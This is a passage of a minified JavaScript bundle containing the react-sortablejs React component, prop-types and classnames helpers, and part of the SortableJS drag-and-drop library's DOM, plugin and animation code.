o}function X(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,o)}return n}function Y(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?X(Object(n),!0).forEach((function(t){W(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):X(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function H(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}function U(e,t){return(U=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function F(e,t){return!t||"object"!==R(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function z(e){return(z=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function W(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}t.Utils=O;var K={dragging:null},G=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&U(e,t)}(d,l);var t,n,r=function(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,o=z(e);if(t){var r=z(this).constructor;n=Reflect.construct(o,arguments,r)}else n=o.apply(this,arguments);return F(this,n)}}(d);function d(e){var t;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,d),(t=r.call(this,e)).ref=c();var n=e.list.map((function(e){return Y(Y({},e),{},{chosen:!1,selected:!1})}));return e.setList(n,t.sortable,K),o(!e.plugins,'\nPlugins prop is no longer supported.\nInstead, mount it with "Sortable.mount(new MultiDrag())"\nPlease read the updated README.md at https://github.com/SortableJS/react-sortablejs.\n '),t}return t=d,(n=[{key:"componentDidMount",value:function(){if(null!==this.ref.current){var e=this.makeOptions();f.create(this.ref.current,e)}}},{key:"render",value:function(){var e=this.props,t=e.tag,n={style:e.style,className:e.className,id:e.id};return s(t&&null!==t?t:"div",Y({ref:this.ref},n),this.getChildren())}},{key:"getChildren",value:function(){var e=this.props,t=e.children,n=e.dataIdAttr,o=e.selectedClass,r=void 0===o?"sortable-selected":o,l=e.chosenClass,s=void 0===l?"sortable-chosen":l,c=(e.dragClass,e.fallbackClass,e.ghostClass,e.swapClass,e.filter),d=void 0===c?"sortable-filter":c,f=e.list;if(!t||null==t)return null;var p=n||"data-id";return a.map(t,(function(e,t){var n,o,a=f[t],l=e.props.className,c="string"==typeof d&&W({},d.replace(".",""),!!a.filtered),h=u(l,Y((W(n={},r,a.selected),W(n,s,a.chosen),n),c));return i(e,(W(o={},p,e.key),W(o,"className",h),o))}))}},{key:"makeOptions",value:function(){var e,t=this,n=((e=this.props).list,e.setList,e.children,e.tag,e.style,e.className,e.clone,e.onAdd,e.onChange,e.onChoose,e.onClone,e.onEnd,e.onFilter,e.onRemove,e.onSort,e.onStart,e.onUnchoose,e.onUpdate,e.onMove,e.onSpill,e.onSelect,e.onDeselect,function(e,t){if(null==e)return{};var n,o,r=function(e,t){if(null==e)return{};var n,o,r={},a=Object.keys(e);for(o=0;o<a.length;o++)n=a[o],t.indexOf(n)>=0||(r[n]=e[n]);return r}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(o=0;o<a.length;o++)n=a[o],t.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(r[n]=e[n])}return r}(e,["list","setList","children","tag","style","className","clone","onAdd","onChange","onChoose","onClone","onEnd","onFilter","onRemove","onSort","onStart","onUnchoose","onUpdate","onMove","onSpill","onSelect","onDeselect"]));return["onAdd","onChoose","onDeselect","onEnd","onRemove","onSelect","onSpill","onStart","onUnchoose","onUpdate"].forEach((function(e){return n[e]=t.prepareOnHandlerPropAndDOM(e)})),["onChange","onClone","onFilter","onSort"].forEach((function(e){return n[e]=t.prepareOnHandlerProp(e)})),Y(Y({},n),{},{onMove:function(e,n){var o=t.props.onMove,r=e.willInsertAfter||-1;if(!o)return r;var a=o(e,n,t.sortable,K);return void 0!==a&&a}})}},{key:"prepareOnHandlerPropAndDOM",value:function(e){var t=this;return function(n){t.callOnHandlerProp(n,e),t[e](n)}}},{key:"prepareOnHandlerProp",value:function(e){var t=this;return function(n){t.callOnHandlerProp(n,e)}}},{key:"callOnHandlerProp",value:function(e,t){var n=this.props[t];n&&n(e,this.sortable,K)}},{key:"onAdd",value:function(e){var t=this.props,n=t.list,o=t.setList,r=t.clone,a=M(e,L(K.dragging.props.list));T(a),o(k(a,n,e,r).map((function(e){return Y(Y({},e),{},{selected:!1})})),this.sortable,K)}},{key:"onRemove",value:function(e){var t=this,n=this.props,r=n.list,a=n.setList,i=N(e),l=M(e,r);j(l);var s=L(r);if("clone"!==e.pullMode)s=A(l,s);else{var c=l;switch(i){case"multidrag":c=l.map((function(t,n){return Y(Y({},t),{},{element:e.clones[n]})}));break;case"normal":c=l.map((function(t){return Y(Y({},t),{},{element:e.clone})}));break;case"swap":default:o(!0,'mode "'.concat(i,'" cannot clone. Please remove "props.clone" from <ReactSortable/> when using the "').concat(i,'" plugin'))}T(c),l.forEach((function(n){var o=n.oldIndex,r=t.props.clone(n.item,e);s.splice(o,1,r)}))}a(s=s.map((function(e){return Y(Y({},e),{},{selected:!1})})),this.sortable,K)}},{key:"onUpdate",value:function(e){var t=this.props,n=t.list,o=t.setList,r=M(e,n);return T(r),j(r),o(function(e,t){return k(e,A(e,t))}(r,n),this.sortable,K)}},{key:"onStart",value:function(){K.dragging=this}},{key:"onEnd",value:function(){K.dragging=null}},{key:"onChoose",value:function(e){var t=this.props,n=t.list;(0,t.setList)(n.map((function(t,n){return n===e.oldIndex?Y(Y({},t),{},{chosen:!0}):t})),this.sortable,K)}},{key:"onUnchoose",value:function(e){var t=this.props,n=t.list;(0,t.setList)(n.map((function(t,n){return n===e.oldIndex?Y(Y({},t),{},{chosen:!1}):t})),this.sortable,K)}},{key:"onSpill",value:function(e){var t=this.props,n=t.removeOnSpill,o=t.revertOnSpill;n&&!o&&I(e.item)}},{key:"onSelect",value:function(e){var t=this.props,n=t.list,o=t.setList,r=n.map((function(e){return Y(Y({},e),{},{selected:!1})}));e.newIndicies.forEach((function(t){var n=t.index;if(-1===n)return console.log('"'.concat(e.type,'" had indice of "').concat(t.index,"\", which is probably -1 and doesn't usually happen here.")),void console.log(e);r[n].selected=!0})),o(r,this.sortable,K)}},{key:"onDeselect",value:function(e){var t=this.props,n=t.list,o=t.setList,r=n.map((function(e){return Y(Y({},e),{},{selected:!1})}));e.newIndicies.forEach((function(e){var t=e.index;-1!==t&&(r[t].selected=!0)})),o(r,this.sortable,K)}},{key:"sortable",get:function(){var e=this.ref.current;if(null===e)return null;var t=Object.keys(e).find((function(e){return e.includes("Sortable")}));return t?e[t]:null}}])&&H(t.prototype,n),d}();t.ReactSortable=G,W(G,"defaultProps",{clone:function(e){return e}})},function(e,t){e.exports=function(e){if(Array.isArray(e))return e}},function(e,t){e.exports=function(e,t){if("undefined"!=typeof Symbol&&Symbol.iterator in Object(e)){var n=[],o=!0,r=!1,a=void 0;try{for(var i,l=e[Symbol.iterator]();!(o=(i=l.next()).done)&&(n.push(i.value),!t||n.length!==t);o=!0);}catch(e){r=!0,a=e}finally{try{o||null==l.return||l.return()}finally{if(r)throw a}}return n}}},function(e,t,n){var o=n(9);e.exports=function(e,t){if(e){if("string"==typeof e)return o(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?o(e,t):void 0}}},function(e,t){e.exports=function(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,o=new Array(t);n<t;n++)o[n]=e[n];return o}},function(e,t){e.exports=function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}},function(e,t,n){"use strict";var o=n(12);function r(){}function a(){}a.resetWarningCache=r,e.exports=function(){function e(e,t,n,r,a,i){if(i!==o){var l=new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw l.name="Invariant Violation",l}}function t(){return e}e.isRequired=e;var n={array:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:a,resetWarningCache:r};return n.PropTypes=n,n}},function(e,t,n){"use strict";e.exports="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED"},function(e,t,n){"use strict";n.r(t);t.default=function(e,t){if(!e)throw new Error("Invariant failed")}},function(e,t,n){var o;!function(){"use strict";var n={}.hasOwnProperty;function r(){for(var e=[],t=0;t<arguments.length;t++){var o=arguments[t];if(o){var a=typeof o;if("string"===a||"number"===a)e.push(o);else if(Array.isArray(o)&&o.length){var i=r.apply(null,o);i&&e.push(i)}else if("object"===a)for(var l in o)n.call(o,l)&&o[l]&&e.push(l)}}return e.join(" ")}e.exports?(r.default=r,e.exports=r):void 0===(o=function(){return r}.apply(t,[]))||(e.exports=o)}()},function(e,t,n){"use strict";function o(){return(o=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}).apply(this,arguments)}function r(e){if("undefined"!=typeof window&&window.navigator)return!!navigator.userAgent.match(e)}n.r(t),n.d(t,"Sortable",(function(){return Ne}));var a=r(/(?:Trident.*rv[ :]?11\.|msie|iemobile|Windows Phone)/i),i=r(/Edge/i),l=r(/firefox/i),s=r(/safari/i)&&!r(/chrome/i)&&!r(/android/i),c=r(/iP(ad|od|hone)/i),u=r(/chrome/i)&&r(/android/i),d={capture:!1,passive:!1};function f(e,t,n){e.addEventListener(t,n,!a&&d)}function p(e,t,n){e.removeEventListener(t,n,!a&&d)}function h(e,t){if(t){if(">"===t[0]&&(t=t.substring(1)),e)try{if(e.matches)return e.matches(t);if(e.msMatchesSelector)return e.msMatchesSelector(t);if(e.webkitMatchesSelector)return e.webkitMatchesSelector(t)}catch(e){return!1}return!1}}function v(e){return e.host&&e!==document&&e.host.nodeType?e.host:e.parentNode}function g(e,t,n,o){if(e){n=n||document;do{if(null!=t&&(">"===t[0]?e.parentNode===n&&h(e,t):h(e,t))||o&&e===n)return e;if(e===n)break}while(e=v(e))}return null}var m,b=/\s+/g;function y(e,t,n){if(e&&t)if(e.classList)e.classList[n?"add":"remove"](t);else{var o=(" "+e.className+" ").replace(b," ").replace(" "+t+" "," ");e.className=(o+(n?" "+t:"")).replace(b," ")}}function w(e,t,n){var o=e&&e.style;if(o){if(void 0===n)return document.defaultView&&document.defaultView.getComputedStyle?n=document.defaultView.getComputedStyle(e,""):e.currentStyle&&(n=e.currentStyle),void 0===t?n:n[t];t in o||-1!==t.indexOf("webkit")||(t="-webkit-"+t),o[t]=n+("string"==typeof n?"":"px")}}function E(e,t){var n="";if("string"==typeof e)n=e;else do{var o=w(e,"transform");o&&"none"!==o&&(n=o+" "+n)}while(!t&&(e=e.parentNode));var r=window.DOMMatrix||window.WebKitCSSMatrix||window.CSSMatrix||window.MSCSSMatrix;return r&&new r(n)}function O(e,t,n){if(e){var o=e.getElementsByTagName(t),r=0,a=o.length;if(n)for(;r<a;r++)n(o[r],r);return o}return[]}function S(){return document.scrollingElement||document.documentElement}function D(e,t,n,o,r){if(e.getBoundingClientRect||e===window){var i,l,s,c,u,d,f;if(e!==window&&e!==S()?(l=(i=e.getBoundingClientRect()).top,s=i.left,c=i.bottom,u=i.right,d=i.height,f=i.width):(l=0,s=0,c=window.innerHeight,u=window.innerWidth,d=window.innerHeight,f=window.innerWidth),(t||n)&&e!==window&&(r=r||e.parentNode,!a))do{if(r&&r.getBoundingClientRect&&("none"!==w(r,"transform")||n&&"static"!==w(r,"position"))){var p=r.getBoundingClientRect();l-=p.top+parseInt(w(r,"border-top-width")),s-=p.left+parseInt(w(r,"border-left-width")),c=l+i.height,u=s+i.width;break}}while(r=r.parentNode);if(o&&e!==window){var h=E(r||e),v=h&&h.a,g=h&&h.d;h&&(c=(l/=g)+(d/=g),u=(s/=v)+(f/=v))}return{top:l,left:s,bottom:c,right:u,width:f,height:d}}}function C(e,t,n){for(var o=T(e,!0),r=D(e)[t];o;){var a=D(o)[n];if(!("top"===n||"left"===n?r>=a:r<=a))return o;if(o===S())break;o=T(o,!1)}return!1}function _(e,t,n){for(var o=0,r=0,a=e.children;r<a.length;){if("none"!==a[r].style.display&&a[r]!==Ne.ghost&&a[r]!==Ne.dragged&&g(a[r],n.draggable,e,!1)){if(o===t)return a[r];o++}r++}return null}function x(e,t){for(var n=e.lastElementChild;n&&(n===Ne.ghost||"none"===w(n,"display")||t&&!h(n,t));)n=n.previousElementSibling;return n||null}function P(e,t){var n=0;if(!e||!e.parentNode)return-1;for(;e=e.previousElementSibling;)"TEMPLATE"===e.nodeName.toUpperCase()||e===Ne.clone||t&&!h(e,t)||n++;return n}function I(e){var t=0,n=0,o=S();if(e)do{var r=E(e);t+=e.scrollLeft*r.a,n+=e.scrollTop*r.d}while(e!==o&&(e=e.parentNode));return[t,n]}function T(e,t){if(!e||!e.getBoundingClientRect)return S();var n=e,o=!1;do{if(n.clientWidth<n.scrollWidth||n.clientHeight<n.scrollHeight){var r=w(n);if(n.clientWidth<n.scrollWidth&&("auto"==r.overflowX||"scroll"==r.overflowX)||n.clientHeight<n.scrollHeight&&("auto"==r.overflowY||"scroll"==r.overflowY)){if(!n.getBoundingClientRect||n===document.body)return S();if(o||t)return n;o=!0}}}while(n=n.parentNode);return S()}function j(e,t){return Math.round(e.top)===Math.round(t.top)&&Math.round(e.left)===Math.round(t.left)&&Math.round(e.height)===Math.round(t.height)&&Math.round(e.width)===Math.round(t.width)}function M(e,t){return function(){if(!m){var n=arguments,o=this;1===n.length?e.call(o,n[0]):e.apply(o,n),m=setTimeout((function(){m=void 0}),t)}}}function A(e,t,n){e.scrollLeft+=t,e.scrollTop+=n}function k(e){var t=window.Polymer,n=window.jQuery||window.Zepto;return t&&t.dom?t.dom(e).cloneNode(!0):n?n(e).clone(!0)[0]:e.cloneNode(!0)}function N(e,t){w(e,"position","absolute"),w(e,"top",t.top),w(e,"left",t.left),w(e,"width",t.width),w(e,"height",t.height)}function R(e){w(e,"position",""),w(e,"top",""),w(e,"left",""),w(e,"width",""),w(e,"height","")}var L="Sortable"+(new Date).getTime(),B=[],X={initializeByDefault:!0},Y={mount:function(e){for(var t in X)X.hasOwnProperty(t)&&!(t in e)&&(e[t]=X[t]);B.push(e)},pluginEvent:function(e,t,n){var r=this;this.eventCanceled=!1,n.cancel=function(){r.eventCanceled=!0};var a=e+"Global";B.forEach((function(r){t[r.pluginName]&&(t[r.pluginName][a]&&t[r.pluginName][a](o({sortable:t},n)),t.options[r.pluginName]&&t[r.pluginName][e]&&t[r.pluginName][e](o({sortable:t},n)))}))},initializePlugins:function(e,t,n,o){for(var r in B.forEach((function(o){var r=o.pluginName;if(e.options[r]||o.initializeByDefault){var a=new o(e,t,e.options);a.sortable=e,a.options=e.options,e[r]=a,Object.assign(n,a.defaults)}})),e.options)if(e.options.hasOwnProperty(r)){var a=this.modifyOption(e,r,e.options[r]);void 0!==a&&(e.options[r]=a)}},getEventProperties:function(e,t){var n={};return B.forEach((function(o){"function"==typeof o.eventProperties&&Object.assign(n,o.eventProperties.call(t[o.pluginName],e))})),n},modifyOption:function(e,t,n){var o;return B.forEach((function(r){e[r.pluginName]&&r.optionListeners&&"function"==typeof r.optionListeners[t]&&(o=r.optionListeners[t].call(e[r.pluginName],n))})),o}};function H(e){var t=e.sortable,n=e.rootEl,r=e.name,l=e.targetEl,s=e.cloneEl,c=e.toEl,u=e.fromEl,d=e.oldIndex,f=e.newIndex,p=e.oldDraggableIndex,h=e.newDraggableIndex,v=e.originalEvent,g=e.putSortable,m=e.extraEventProperties;if(t=t||n&&n[L]){var b,y=t.options,w="on"+r.charAt(0).toUpperCase()+r.substr(1);!window.CustomEvent||a||i?(b=document.createEvent("Event")).initEvent(r,!0,!0):b=new CustomEvent(r,{bubbles:!0,cancelable:!0}),b.to=c||n,b.from=u||n,b.item=l||n,b.clone=s,b.oldIndex=d,b.newIndex=f,b.oldDraggableIndex=p,b.newDraggableIndex=h,b.originalEvent=v,b.pullMode=g?g.lastPutMode:void 0;var E=o({},m,Y.getEventProperties(r,t));for(var O in E)b[O]=E[O];n&&n.dispatchEvent(b),y[w]&&y[w].call(t,b)}}var U=function(e,t,n){var r=void 0===n?{}:n,a=r.evt,i=function(e,t){if(null==e)return{};var n,o,r={},a=Object.keys(e);for(o=0;o<a.length;o++)t.indexOf(n=a[o])>=0||(r[n]=e[n]);return r}(r,["evt"]);Y.pluginEvent.bind(Ne)(e,t,o({dragEl:z,parentEl:W,ghostEl:K,rootEl:G,nextEl:q,lastDownEl:V,cloneEl:$,cloneHidden:Z,dragStarted:ue,putSortable:oe,activeSortable:Ne.active,originalEvent:a,oldIndex:J,oldDraggableIndex:ee,newIndex:Q,newDraggableIndex:te,hideGhostForTarget:Te,unhideGhostForTarget:je,cloneNowHidden:function(){Z=!0},cloneNowShown:function(){Z=!1},dispatchSortableEvent:function(e){F({sortable:t,name:e,originalEvent:a})}},i))};function F(e){H(o({putSortable:oe,cloneEl:$,targetEl:z,rootEl:G,oldIndex:J,oldDraggableIndex:ee,newIndex:Q,newDraggableIndex:te},e))}var z,W,K,G,q,V,$,Z,J,Q,ee,te,ne,oe,re,ae,ie,le,se,ce,ue,de,fe,pe,he,ve=!1,ge=!1,me=[],be=!1,ye=!1,we=[],Ee=!1,Oe=[],Se="undefined"!=typeof document,De=c,Ce=i||a?"cssFloat":"float",_e=Se&&!u&&!c&&"draggable"in document.createElement("div"),xe=function(){if(Se){if(a)return!1;var e=document.createElement("x");return e.style.cssText="pointer-events:auto","auto"===e.style.pointerEvents}}(),Pe=function(e,t){var n=w(e),o=parseInt(n.width)-parseInt(n.paddingLeft)-parseInt(n.paddingRight)-parseInt(n.borderLeftWidth)-parseInt(n.borderRightWidth),r=_(e,0,t),a=_(e,1,t),i=r&&w(r),l=a&&w(a),s=i&&parseInt(i.marginLeft)+parseInt(i.marginRight)+D(r).width,c=l&&parseInt(l.marginLeft)+parseInt(l.marginRight)+D(a).width;return"flex"===n.display?"column"===n.flexDirection||"column-reverse"===n.flexDirection?"vertical":"horizontal":"grid"===n.display?n.gridTemplateColumns.split(" ").length<=1?"vertical":"horizontal":r&&i.float&&"none"!==i.float?!a||"both"!==l.clear&&l.clear!==("left"===i.float?"left":"right")?"horizontal":"vertical":r&&("block"===i.display||"flex"===i.display||"table"===i.display||"grid"===i.display||s>=o&&"none"===n[Ce]||a&&"none"===n[Ce]&&s+c>o)?"vertical":"horizontal"},Ie=function(e){function t(e,n){return function(o,r,a,i){if(null==e&&(n||o.options.group.name&&r.options.group.name&&o.options.group.name===r.options.group.name))return!0;if(null==e||!1===e)return!1;if(n&&"clone"===e)return e;if("function"==typeof e)return t(e(o,r,a,i),n)(o,r,a,i);var l=(n?o:r).options.group.name;return!0===e||"string"==typeof e&&e===l||e.join&&e.indexOf(l)>-1}}var n={},o=e.group;o&&"object"==typeof o||(o={name:o}),n.name=o.name,n.checkPull=t(o.pull,!0),n.checkPut=t(o.put),n.revertClone=o.revertClone,e.group=n},Te=function(){!xe&&K&&w(K,"display","none")},je=function(){!xe&&K&&w(K,"display","")};Se&&document.addEventListener("click",(function(e){if(ge)return e.preventDefault(),e.stopPropagation&&e.stopPropagation(),e.stopImmediatePropagation&&e.stopImmediatePropagation(),ge=!1,!1}),!0);var Me,Ae=function(e){if(z){var t=(r=(e=e.touches?e.touches[0]:e).clientX,a=e.clientY,me.some((function(e){if(!x(e)){var t=D(e),n=e[L].options.emptyInsertThreshold;return n&&r>=t.left-n&&r<=t.right+n&&a>=t.top-n&&a<=t.bottom+n?i=e:void 0}})),i);if(t){var n={};for(var o in e)e.hasOwnProperty(o)&&(n[o]=e[o]);n.target=n.rootEl=t,n.preventDefault=void 0,n.stopPropagation=void 0,t[L]._onDragOver(n)}}var r,a,i},ke=function(e){z&&z.parentNode[L]._isOutsideThisEl(e.target)};function Ne(e,t){if(!e||!e.nodeType||1!==e.nodeType)throw"Sortable: `el` must be an HTMLElement, not "+{}.toString.call(e);this.el=e,this.options=t=Object.assign({},t),e[L]=this;var n,r,a={group:null,sort:!0,disabled:!1,store:null,handle:null,draggable:/^[uo]l$/i.test(e.nodeName)?">li":">*",swapThreshold:1,invertSwap:!1,invertedSwapThreshold:null,removeCloneOnHide:!0,direction:function(){return Pe(e,this.options)},ghostClass:"sortable-ghost",chosenClass:"sortable-chosen",dragClass:"sortable-drag",ignore:"a, img",filter:null,preventOnFilter:!0,animation:0,easing:null,setData:function(e,t){e.setData("Text",t.textContent)},dropBubble:!1,dragoverBubble:!1,dataIdAttr:"data-id",delay:0,delayOnTouchOnly:!1,touchStartThreshold:(Number.parseInt?Number:window).parseInt(window.devicePixelRatio,10)||1,forceFallback:!1,fallbackClass:"sortable-fallback",fallbackOnBody:!1,fallbackTolerance:0,fallbackOffset:{x:0,y:0},supportPointer:!1!==Ne.supportPointer&&"PointerEvent"in window,emptyInsertThreshold:5};for(var i in Y.initializePlugins(this,e,a),a)!(i in t)&&(t[i]=a[i]);for(var l in Ie(t),this)"_"===l.charAt(0)&&"function"==typeof this[l]&&(this[l]=this[l].bind(this));this.nativeDraggable=!t.forceFallback&&_e,this.nativeDraggable&&(this.options.touchStartThreshold=1),t.supportPointer?f(e,"pointerdown",this._onTapStart):(f(e,"mousedown",this._onTapStart),f(e,"touchstart",this._onTapStart)),this.nativeDraggable&&(f(e,"dragover",this),f(e,"dragenter",this)),me.push(this.el),t.store&&t.store.get&&this.sort(t.store.get(this)||[]),Object.assign(this,(r=[],{captureAnimationState:function(){r=[],this.options.animation&&[].slice.call(this.el.children).forEach((function(e){if("none"!==w(e,"display")&&void 0!==e){r.push({target:e,rect:D(e)});var t=o({},r[r.length-1].rect);if(e.thisAnimationDuration){var n=E(e,!0);n&&(t.top-=n.f,t.left-=n.e)}e.fromRect=t}}))},addAnimationState:function(e){r.push(e)},removeAnimationState:function(e){r.splice(function(e,t){for(var n in e)if(e.hasOwnProperty(n))for(var o in t)if(t.hasOwnProperty(o)&&t[o]===e[n][o])return Number(n);return-1}(r,{target:e}),1)},animateAll:function(e){var t=this;if(!this.options.animation)return clearTimeout(n),void("function"==typeof e&&e());var o=!1,a=0;r.forEach((function(e){var n=0,r=e.target,i=r.fromRect,l=D(r),s=r.prevFromRect,c=r.prevToRect,u=e.rect,d=E(r,!0);d&&(l.top-=d.f,l.left-=d.e),r.toRect=l,r.thisAnimationDuration&&j(s,l)&&!j(i,l)&&(u.top-l.top)/(u.left-l.left)==(i.top-l.top)/(i.left-l.left)&&(n=function(e,t,n,o){return Math.sqrt(Math.pow(t.top-e.top,2)+Math.pow(t.left-e.left,2))/Math.sqrt(Math.pow(t.top-n.top,2)+Math.pow(t.left-n.left,2))*o.animation}(u,s,c,t.options)),j(l,i)||(r.prevFromRect=i,r.prevToRect=l,n||(n=t.options.animation),t.animate(r,u,l,n)),n&&(o=!0,a=Math.max(a,n),clearTimeout(r.animationResetTimer),r.animationResetTimer=setTimeout((function(){r.animationTime=0,r.prevFromRect=null,r.fromRect=null,r.prevToRect=null,r.thisAnimationDuration=null}),n),r.thisAnimationDuration=n)})),clearTimeout(n),o?n=setTimeout((function(){"function"==typeof e&&e()}),a):"function"==typeof e&&e(),r=[]},animate:function(e,t,n,o){if(o){w(e,"transition",""),w(e,"transform","");var r=E(this.el),a=(t.left-n.left)/(r&&r.a||1),i=(t.top-n.top)/(r&&r.d||1);e.animatingX=!!a,e.animatingY=!!i,w(e,"transform","translate3d("+a+"px,"+i+"px,0)"),this.forRepaintDummy=function(e){return e.offsetWidth}(e),w(e,"transition","transform "+o+"ms"+(this.options.easing?" "+this.options.easing:"")),w(e,"transform","translate3d(0,0,0)"),"number"==typeof e.animated&&clearTimeout(e.animated),e.animated=setTimeout((function(){w(e,"transition",""),w(e,"transform",""),e.animated=!1,e.animatingX=!1,e.animatingY=!1}),o)}}}))}function Re(e,t,n,o,r,l,s,c){var u,d,f=e[L],p=f.options.onMove;return!window.CustomEvent||a||i?(u=document.createEvent("Event")).initEvent("move",!0,!0):u=new CustomEvent("move",{bubbles:!0,cancelable:!0}),u.to=t,u.from=e,u.dragged=n,u.draggedRect=o,u.related=r||t,u.relatedRect=l||D(t),u.willInsertAfter=c,u.originalEvent=s,e.dispatchEvent(u),p&&(d=p.call(f,u,s)),d}function Le(e){e.draggable=!1}function Be(){Ee=!1}function Xe(e){for(var t=e.tagName+e.className+e.src+e.href+e.textContent,n=t.length,o=0;n--;)o+=t.charCodeAt(n);return o.toString(36)}function Ye(e){return setTimeout(e,0)}function He(e){return clearTimeout(e)}Ne.prototype={constructor:Ne,_isOutsideThisEl:function(e){this.el.contains(e)||e===this.el||(de=null)},_getDirection:function(e,t){return"function"==typeof this.options.direction?this.options.direction.call(this,e,t,z):this.options.direction},_onTapStart:function(e){if(e.cancelable){var t=this,n=this.el,o=this.options,r=o.preventOnFilter,a=e.type,i=e.touches&&e.touches[0]||e.pointerType&&"touch"===e.pointerType&&e,l=(i||e).target,c=e.target.shadowRoot&&(e.path&&e.path[0]||e.composedPath&&e.composedPath()[0])||l,u=o.filter;if(function(e){Oe.length=0;for(var t=e.getElementsByTagName("input"),n=t.length;n--;){var o=t[n];o.checked&&Oe.push(o)}}(n),!z&&!(/mousedown|pointerdown/.test(a)&&0!==e.button||o.disabled)&&!c.isContentEditable&&(this.nativeDraggable||!s||!l||"SELECT"!==l.tagName.toUpperCase())&&!((l=g(l,o.draggable,n,!1))&&l.animated||V===l)){if(J=P(l),ee=P(l,o.draggable),"function"==typeof u){if(u.call(this,e,l,this))return F({sortable:t,rootEl:c,name:"filter",targetEl:l,toEl:n,fromEl:n}),U("filter",t,{evt:e}),void(r&&e.cancelable&&e.preventDefault())}else if(u&&(u=u.split(",").some((function(o){if(o=g(c,o.trim(),n,!1))return F({sortable:t,rootEl:o,name:"filter",targetEl:l,fromEl:n,toEl:n}),U("filter",t,{evt:e}),!0}))))return void(r&&e.cancelable&&e.preventDefault());o.handle&&!g(c,o.handle,n,!1)||this._prepareDragStart(e,i,l)}}},_prepareDragStart:function(e,t,n){var o,r=this,s=r.el,c=r.options,u=s.ownerDocument;if(n&&!z&&n.parentNode===s){var d=D(n);if(G=s,W=(z=n).parentNode,q=z.nextSibling,V=n,ne=c.group,Ne.dragged=z,se=(re={target:z,clientX:(t||e).clientX,clientY:(t||e).clientY}).clientX-d.left,ce=re.clientY-d.top,this._lastX=(t||e).clientX,this._lastY=(t||e).clientY,z.style["will-change"]="all",o=function(){U("delayEnded",r,{evt:e}),Ne.eventCanceled?r._onDrop():(r._disableDelayedDragEvents(),!l&&r.nativeDraggable&&(z.draggable=!0),r._triggerDragStart(e,t),F({sortable:r,name:"choose",originalEvent:e}),y(z,c.chosenClass,!0))},c.ignore.split(",").forEach((function(e){O(z,e.trim(),Le)})),f(u,"dragover",Ae),f(u,"mousemove",Ae),f(u,"touchmove",Ae),f(u,"mouseup",r._onDrop),f(u,"touchend",r._onDrop),f(u,"touchcancel",r._onDrop),l&&this.nativeDraggable&&(this.options.touchStartThreshold=4,z.draggable=!0),U("delayStart",this,{evt:e}),!c.delay||c.delayOnTouchOnly&&!t||this.nativeDraggable&&(i||a))o();else{if(Ne.eventCanceled)return void this._onDrop();f(u,"mouseup",r._disableDelayedDrag),f(u,"touchend",r._disableDelayedDrag),f(u,"touchcancel",r._disableDelayedDrag),f(u,"mousemove",r._delayedDragTouchMoveHandler),f(u,"touchmove",r._delayedDragTouchMoveHandler),c.supportPointer&&f(u,"pointermove",r._delayedDragTouchMoveHandler),r._dragStartTimer=setTimeout(o,c.delay)}}},_delayedDragTouchMoveHandler:function(e){var t=e.touches?e.touches[0]:e;Math.max(Math.abs(t.clientX-this._lastX),Math.abs(t.clientY-this._lastY))>=Math.floor(this.options.touchStartThreshold/(this.nativeDraggable&&window.devicePixelRatio||1))&&this._disableDelayedDrag()},_disableDelayedDrag:function(){z&&Le(z),clearTimeout(this._dragStartTimer),this._disableDelayedDragEvents()},_disableDelayedDragEvents:function(){var 